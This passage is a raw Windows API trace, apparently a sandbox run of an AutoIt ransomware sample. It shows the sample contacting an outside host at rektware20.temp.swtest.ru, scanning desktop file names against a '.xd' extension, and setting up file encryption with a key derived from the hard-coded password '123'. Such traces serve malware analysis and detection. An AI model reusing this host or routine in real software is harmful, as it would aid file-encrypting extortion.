lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0077.284] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0077.284] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0077.284] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0077.284] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c) returned 1 [0077.284] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0077.284] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0077.284] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0077.285] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0077.285] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0077.285] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0077.285] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0077.285] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0077.285] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0077.285] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0077.285] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0077.285] CloseHandle (hObject=0x0) returned 0 [0077.285] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RlXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lXBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XBpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Bpt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pt7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ePQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PQIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QIJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IJwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JwB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wB.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0077.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.287] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.287] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0077.287] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.287] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0077.287] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0077.287] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0077.287] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0077.287] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0077.287] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c) returned 1 [0077.288] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0077.288] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0077.288] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0077.288] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0077.288] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0077.288] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0077.288] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0077.288] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629410, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629410*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0077.288] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0077.289] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0077.289] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0077.289] CloseHandle (hObject=0x0) returned 0 [0077.289] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.289] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0077.289] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0077.289] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.289] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0077.290] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.290] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.290] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0077.290] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.290] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0077.290] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.290] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.290] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0077.290] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.290] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.290] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.290] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.290] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.291] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0077.291] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0077.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0077.291] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0077.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0077.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0077.291] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0077.291] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1632100) returned 1 [0077.294] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.294] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.294] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0077.294] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.294] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.294] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.294] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.294] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.294] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0077.294] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.294] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.294] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.294] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.294] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.295] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.295] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0077.295] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.295] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.295] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0077.295] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.295] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.295] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.295] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0077.295] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.295] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.295] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.295] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.296] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.296] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.296] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.296] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.296] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.296] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0077.296] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0077.296] CryptCreateHash (in: hProv=0x1632100, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0077.296] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.296] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.296] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0077.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, 